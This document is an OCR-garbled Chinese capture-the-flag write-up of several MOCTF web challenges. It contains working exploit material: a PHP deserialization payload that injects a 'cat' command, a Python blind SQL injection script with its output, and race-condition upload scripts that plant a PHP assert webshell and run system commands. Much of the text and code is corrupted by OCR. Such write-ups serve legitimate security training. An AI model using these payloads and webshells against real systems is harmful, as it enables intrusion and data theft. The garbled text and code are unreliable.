https://mp.weixin.qq.com/s/8nxHxJRr3U52xbfhpirxmA
http://120.78.57.208:6001/?LandIn=school

{RIAELESE KL L, S EBkagt S

FIBF
i ) 1)

FEIX BL R DLERHCR RS

<html>
<title>MOCTFIZAKFE</title>
<style type="text/css">
a{
text-decoration:none;
color:white;
}
body
{
background:url('image/PUBG.jpg');
background-attachment:fixed;
background-repeat:no-repeat;
background-size:cover;
-moz-background-size:cover;
-webkit-background-size:cover;
}
center
{
color:white;
}
</style>
<body>
<center>
<p>VRIUAEIEAE AL L, R BEBR I T < /p></br>
<p><a href="?LandIn=airport">Hliz</a></p>
<p><a href="?LandIn=school">*¥f%k</a></p>
<p><a href="?LandIn=field">#T%f</a></p>
<p><a href="?LandIn=AFK">_ L/ Milfii</a></p>
</center>
</body>
</html>
<?php
error_reporting(0);
include 'class.php';



if(is_array($_GET)&&count($_GET)>0)

{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>#lIZ KAIKZ , /RILHTIE T ~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">IFE KL HFH~~</a></center>");
$pubg=$_GET[ 'pubg"];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>H THRKB] A& 3], #5211 ~</center™);
}
else
{
die("<center>You Lose</center>");
}
}

?>

ATLVER], 7E L5 T class.php, FIFERER, FREC—3 UM, class.php.bak
FRm, AHNEESR, FE$pos===school, JHURLfEZpubg, HHEXFHIMNL, PR,

T class.phpft) i 2



<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){

// $this->str="You got the airdrop";
// return $this->str;

/1Y

public function __wakeup()

{

$this->bag="nothing";
$this->weapon="kar9g8K";

}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method, $parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[@].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==="AWM")
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}

?>

X L 5| ] T waf.php, A ARETS BIPED
XH, fhE LT —sheldonZé, Mindex.phpKE, FAMLR % T B IX DR T
(K% http://shetdon.cn/ BF45 2 Atk H 5D

PRI, AR AR R, A5 A 5 pR £


http://she1don.cn/

JeREHE R, _ wakeupBiLREL, _ wakeup() R ETE BTN GO T LR H . — B2
&, AR B 4248 iibag=nothing, weapon=kar98k

CXHEFm S, AR PERH KT sebrs H i r] st wakeup /5i%)

FRES /N R%: Get_air_drops($b)
KA RHG R AN R, R JEHATD()IX A K 3L

F=A % call($method,$parameters)

__callsf Bo2 F T AR KRR, et v anR, FATRA 7 A fEsheldonS BT 1) s &, X4~ e Host
AT, XHEARRIENTT, RO .

TR, 752 (file_exists(".//class$file[0].php")) XML, A A HLEHATsystenR Gidn S, A Al &3k Hiflag

BT Tl RIS AT, F-ATTA] LR method it (8 4y /iwin, php* s sssesasasaasacoiifile[01E 4. $file =
explode(".",$method); K #5454 /iwin R lclass//win.php (X AN SCfile s sE e A7AE 1, Hatseid 1
i) o MRV ARBRANFEEMag, FRATHEAE BSR4 K 17bash.

BJE— A RH: _ destruct(), NHTRIREL AMBIEXT RABPATLE R G TR R, MR AR S PUTIX
ARE, X HEAWTEEEE, X B X Hweapon==AWMI %, 723472 AiGet_air_drops($b)efi%l, iix B
fitbAE AT R T bag, thEiieii, 7EGet_air_drops($bag), HiTbag()ei%l, XA EsheldonZE B[], Xk
At A __callpfi 4.

RIGE—T, EXNEAT, HESPITIEERE, AR5, iESbA A & sheldonZ BT e %, AT i HH
_call, FRUNTERIASH, FAAERl e S0 BE v i % weakup(), X H B Jesud, XA R A AL
BAAR B AR Y weakup LI 1918, SEUGE I Get_air_drops($b)eai%i. it 5, il LLEIAT  call
BRELT, BT DAMEIRATM A4, Sk3kiiflag.

BT LA ffpayload Ay : - &pubg=0:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat
J[class/flag";s:6:"weapon";s:3:"AWM";}

fEpayload iy —MEIETT | » EEZJENaSBEIIT, Prelaes eI Kfag, A2

URL: http://120.78.57.208:6001/?LandIn=school&pubg=0:7:%22sheldon%22:3:
{s:3:%22bag%?22;s:27:%22//win.php| %20cat%20./class/flag%22;s:6:%22weapon%22;s:3:%22AWM%22;}

RAZZ e, AEYRY ] LUE Flflag 7


http://120.78.57.208:6001/?LandIn=school&pubg=O:7:%2522sheldon%2522:3:%257Bs:3:%2522bag%2522;s:27:%2522//win.php%257C%20cat%20./class/flag%2522;s:6:%2522weapon%2522;s:3:%2522AWM%2522;%257D

<html >
<head>
<meta http-equiv="Content-Type” content="text/html; charset=utf-8" />
</ head>
<title>MOCTFRZIE AT/ title>
<style type= text/css”>
al
text-decoratlon:none;
color:white;

= N N e W M=

}

body

{
background:url { image /FUBG. jpg’ )
background-attachment : fixzed;
background-repeat ino-repeat;
background-size:cover;
-moz-background-size: cover;
—webkilt-background-size:cover;

b = - N S Y S ' T LN R B = I = ]

}
center

{

}

<fstyler

<hody>

<centerr

<o FINTE IETE WAl L, 15 B Rk A T <o <S>
{prda href="9LandIn=airport >¥iA </ a><ip>
<{prda href="9LandIn=school >S4/ a><p>
{prda href="9LlandIn=field " >¥TEF</a></p>

<p><a href="7LandIn=AFK”>_E BT </a></p>
</center>

</body>

</html >

{fbrydcenter><a href="/index. php. bak” stvle="colaor:white >EMIEFFER " </a> {/center><Iphp
Simoetf Try_Learn PhP hdrder_wow!

-

color:white;

e B = 1 TR & ) B SU ¥ R (N [ O e T I = = ]

= O N o W M o= O D0

0w oo

get flag: moctf{Try_Learn_PhP_h4rder_wow}

0x17 X3 W o

XAAFIERA RS T

0x18 Code Revolution

BB 4%%$:  http://www.laohulaohuhu.cn:32771/

HEZE


http://www.laohulaohuhu.cn:32771/

Please login in

user

pwd

Login as Guest: Guest/Guest \ __——"""

Sign in

otk Ja g, phpinfo()i 5t i

© 2017-2018

2 disable_functionsF& &t 25 F T 114 pR %L

pcntl_alarm,pentl_fork, pentl_waitpid,pentl_wait, pentl_
wifexited, pcntl_wifstopped,pentl_wifsignaled,pcntl_wi
fcontinued, pentl wexitstatus,pentl wtermsig,pentl w
stopsig,pentl_signal,pentl_signal_dispatch,pentl_get |
ast_error,pcntl_strerror,pentl_sigprocmask,pentl_sigw
aitinfo,pcntl sigtimedwait,pentl exec,pentl getpriorit
y.pentl_setpriority,

pcntl_alarm,pentl_fork, pentl_waitpid,pentl_wait, pentl_
wifexited, pcntl_wifstopped,pentl_wifsignaled,pentl_wi
fcontinued, pentl wexitstatus,pcntl wtermsig,pentl ws
topsig,pentl_signal,pentl_signal_dispatch,pentl_get la
st_error,pcntl_strerror,pentl_sigprocmask, pentl_sigwai
tinfo,pentl sigtimedwait,pentl_exec,pentl getpriority,

pcntl_setpriority,

T filb Firobots. txt & 1L

if (preg_match("/sess_|php(\w)+/is", $_GET['page']) || $_GET['page'] === 'index.php') {

$_GET['page'] = "login.php";

}else if (preg_match("/filter(.+)resource/is", $_GET['page'])) {

if (preg_match("/filter(.+\..+)resource/is", $_GET['page'])

$test = substr(file($_GET['page'])[@], 9, 5);
|| $test === "\x7F\x45\x4c\x46\x02"
|| $test === "\x83\x96\xb8\xbc\xeb") {

$_GET['page'] = "login.php";

IEMVEACS_GET#R%Cpage, /&A

Rf2 8, HIaHER......

e AN fefd H php:/filtert B S3CR HAT 2
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B H BERE: http://119.23.73.3:5004/

T2 e, F128%F, KINEAR, id=1

_ ’ ﬂ — o o o h

Welcome To MOCTF!

<html lang="zh-CN">
» chead>..</head>
«+ ¥ <body> == §8
» <nav class="navbar navbar-inverse navbar-fixed-top"
¥<div class="container” style="margin-top:98px; ">
: tbefore
¥odiv class="starter-template”>

&#65279;"
<hl class="text-center”>Welcome To MOCTF!</hl>
¢l--2id=1--»
<! --By:daoyuan--
<fdiv>
rrafter
<fdiv>
</body>
</html>

i n
WIEtANid=1. 2, 3, 2455

Welcome to MOCTF!
Flag is in the database!
The table name length is greater than 20!

RAMRK.

AR GREHAE

i \?id=1"and 1=1

WHAT A FUCK!

emmmmm
INIGENL D, AL ER R REWP T
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http://119.23.73.3:5004/
http://119.23.73.3:5004/

U T T trim(B R, 1R SR TR 0 A AT WA R R
FEURL 40\ 2id=1 (id )5 T4 2 b6 ) Il S8 1F

FHINZiA=1 1, SKH TR B R E, WS A Tid=11,

METERA TR, UHid=1,2 30N RS A 4R, R T IS 18, % R
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BEM AR SR TG (EAARLT) RE O wagodiE, Frlalbll O RS, i,

%20 Th%
%09 il FKAF
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%00 =
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https://www.cnblogs.com/xyhacker/p/10022858.html
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i Nid=1'and"1'="1 g7

X B s R A HEAT 25451

id=1'and length(database()) ="1

R JEan s, 20 W 24 i s 122 44 K R 5L .
1'and(length(database()))="'5

B e I B R AAS -

import string

import requests

chars = '"1@$%7&*()_+=-|}{ :2><[1;,./ ~'

string = string.ascii_letters+string.digits+chars

rs = requests.session()

flag = ""

# IFffipayload

# payload = "http://119.23.73.3:5004/?
id=2"'~(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})""'1
# payload = "http://119.23.73.3:5004/?
id=2"'~(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=databas
e()),{e},1))={1pH~"1"

# payload = "http://119.23.73.3:5004/?
id=2"'~(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=datab
ase()),{e},1))={1H)~"1"

payload = "http://119.23.73.3:5004/?
id=2"'"(ascii(mid((select(d@_you_alse_llke_very_long_column_name)from(do_yOu_llke long_t4ble name)),{0},1))=
{1pna”

/ /FEand 8 H (K1 i PT U F ~ 04T S5 BT o

for i in range(9, 500):

# for j in string:
for j in range(33, 127):
url = payload.format(str(i), str(j))
s = rs.get(url)
# print url
if 'Flag' in s.text:
flag = flag + chr(j)
print flag
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File Edit Shell Debug Options Window Help

Python 2.7.16 (v2.7.16: 413249146, Mar 4 2019, 01:37:19) [MSC v. 1600 64 bit (A4
DA4)] on win32

Type “help”, “copyright”, “credits” or “license()” for more information.

FrF

RESTART: C:/Python27/zhuru. py =
m

mo

moc

moct

moctf

moctf {

moctf {b

moctf {bl

moctf {bli

moctf {blin

moctf {blind

moctf {blind_

moctf {blind_35

moctf {blind_5Q

moctf {blind_SQL

moctf {blind_SQL_

moctf {blind_SQL_1

moctf {blind_SQL_iIn

moctf {blind_3SQL_1Inj

moctf {blind_SQL_Inje

moctf {blind_SQL_Injec

moctf {blind SQL_1nject

moctf {blind_SQL_1injectil
moctf {blind_SQL_Injectil
moctf {blind_SQL_Injectiln
moctf {blind_SQL_lnjectiln_
moctf {blind_SQL_Injectiln_g
moctf {blind_SQL_Injectiln_g0
moctf {(blind SQL_Injectiln_g0o
moctf {blind SQL_Injectiln_gOod
moctf {blind_SQL_InjectiOn_gOod}
b33

K¥ET, B TIRZ

get flag: moctf{b1ind_SQL_1njectiOn_g0od}
0x20 fj 4 3

A H#E$E: http://120.78.57.208:6005/

<?php
error_reporting(0);
include('config.php');
header("Content-type:text/html;charset=utf-8");
/1R a - zf BEL AL
function get_rand_code($1l = 6) {

$result = '';

while($1--) {

$result .= chr(rand(ord('a'), ord('z"')));
}

return $result;

function test_rand_code() {
$ip=$_SERVER[ 'REMOTE_ADDR'];
$code=get_rand_code();
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
@socket_connect($socket, $ip, 8888);
@socket_write($socket, $code.PHP_EOL);
@socket_close($socket);


http://120.78.57.208:6005/

die("test ok!'");

}
/135 EAESCIE R BCE
function upload($filename, $content,$savepath) {
WASEZS
$AllowedExt = array('bmp','gif', 'jpeg','jpg', " 'png');
if(!is_array($filename)) {
$filename = explode('.', $filename);
[/ PAERIX SO, BN RS, TR, Einiil BRI tX. Jpg, AR ATE A B array ('O =>"tx", "1 =>"jpg")
}
//strtolower(), LA FRHEIINNG, FIMBHRE MR, RS20 RN, XEGNBHEITLR,
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');
}
$code=get_rand_code();
[/ AR AR SOk BRSO 4 ($Filename[@]) + moctf + NOZBENLER + Hdif)s —17.
$finalname=$filename[0]. 'moctf'.$code.".".end($filename);
waf2($finalname);
/ /HEPOSTH R IA Hdfs 5 241 A BRAR I S
file_put_contents("$savepath".$finalname, $content);
//IER
usleep(3000000);
/ [HEmoctf 5 B A BAR K SR
file_put_contents("$savepath".$finalname, "moctf");
unlink("$savepath".$finalname);/ /MR A B A2 1 SO
die('upload over!');
}

$savepath="uploads/".shal($_SERVER[ 'REMOTE_ADDR'])."/";//ZN: upload/ViZIPHIMAE/
if(!is_dir($savepath)){

$oldmask = umask(Q);//¥ERIR ANT777

mkdir($savepath, 0777);//8I&H*%

umask($oldmask);/ /5% HIALIR

}
if(isset($_GET['action']))
{
$act=$_GET['action'];
if($act==="upload"')//GETHZ S ¥ W F yupload
{
$filename=$_POST['filename'];//POST{:5SH Nfilename
if(!'is_array($filename)) {
$filename = explode('.', $filename);
/7R filename NS, BLL . (ENDREF, TEREE
}
$content=$_POST['content'];
waf($content);
upload($filename,$content, $savepath);
}
else if($act==="test")
{
test_rand_code();
}
}
else {

highlight_file('index.php');
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if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');

}

ZHE)  $filename[count($filename)-1 A —iE &5 —4, FrbAa] UXFER) &

$filename= array('e'=> '1','2'=>"jpg','3'=>"php');

XAE3-1=2, filename[2] = jpg, fEAL AR, SAUSRLIAL R T
RSO 42 5N  1moctf.$code.php

FLAA g D BRm] e BT K
f&: https://skysec.top/2018/02/13/happymoctf%E4%B9%8Bweb%E5%85%A8%EI%A2%98%E8%AT %A3/#%

a I | ¥

B J7TWP:
P ELA

listen.py

#1Wr8888u 1, #5261 get_rand_code™ &R, SR/ETME TR —IX get_rand_code™ BI45R, X HE AT E AR HER,
HTLLT ZNIRBE R, SRR 9376, I AE R I

#!/usr/bin/env python

#-*- coding:utf-8 -*-

#by xishir

import requests as req

import re

from socket import *

O 00 N O U1 b W N P

from time import ctime

=
[

import random

import itertools as its

import hashlib

r=req.session()
url="http://120.78.57.208:6005/"

R R R R
A W N R

15 def get_rand_list():

16 HOST = "'

17 PORT = 8888

18 BUFSIZ = 128

19 ADDR = (HOST, PORT)

20 tcpSerSock = socket(AF_INET, SOCK_STREAM)
21 tcpSerSock.bind (ADDR)

22 tcpSerSock.listen(5)

23 rand_num=0

24 1=[1]

N
U1

while True:


https://skysec.top/
https://skysec.top/2018/02/13/happymoctf%25E4%25B9%258Bweb%25E5%2585%25A8%25E9%25A2%2598%25E8%25A7%25A3/#%25E7%25AE%2580%25E5%258D%2595%25E5%25AE%25A1%25E8%25AE%25A1

26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

tcpCliSock, addr = tcpSerSock.accept()
while True:
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
data=data[0:6]
print data,l
for i in data:
1.append(ord(i)+1-ord('a"))
rand_num+=1
if rand_num==6:
break
tcpCliSock.close()
tcpSerSock.close()
return 1
def get_salt(l):
salt=""
for i in range(6):
j=len(1)
r=(1[j-31+1[j-31])-1
if r>26:
r-=26
#print 1[j-3],chr(1[j-3]+ord('a"')-1),1[j-31],chr(1[j-31]+ord('a")-1),r,chr(r+ord('a')-1)
1.append(r)
salt+=chr(r+ord('a')-1)
#print salt
return salt
def get_flag(salt):
s=hashlib.shal('119.23.73.3").hexdigest()
urll=url+'/uploads/'+s+'/"'+"'moctf'+salt+".php'
data={"a":"system('cat ../../flag.php');echo '666666";"
r2=r.post(urll,data=data)
print salt
if '404' not in r2.text:
print r2.text
get_flag('aaaaaa')
l=get_rand_list()
salt=get_salt(l)
s=0
for i in range(100000):
s=s+1
print s
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(1i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])-int(s[j]))
get_flag(salt2)
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(1i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])+int(s[j]))
get_flag(salt2)



put.py

#i#iL" Paction=test [l test_rand_code’ HHKki%k6/K get_rand_code  45iH, —IL364 74,
HINEFRAL MG HFY Paction=test™, EAhshellFRS4%, AEBMR AT 1istenBIASE], BB L BIILIX
#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
r=req.session()
url="http://120.78.57.208:6005/?action="
def get_test():
url2=url+"test"
ri=r.get(url2)
print url2
print ril.text
def upload():
data={"filename[4]":"jpg",

O 00 N O U1 b W N P

R R R R R R R R
N o uhd wWwNR O

"filename[2]":"jpg",
"filename[1]":"php",

=
(o]

"content":"<script language='php'>assert($_POST[a]);</script>",
"a":"system('cat ../../flag.php');"
}
urll=url+"upload"
r2=r.post(urll,data=data)
print r2.text
for i in range(6):
get_test()
upload()

N N N NN DNDNDNDDNBR
N O v hh WD ROV

0x21 EasySQL

R H 82 http://www.laohulaohuhu.cn:32770/

4T :https://www.cnblogs.com/mortals-tx/p/11280004.html
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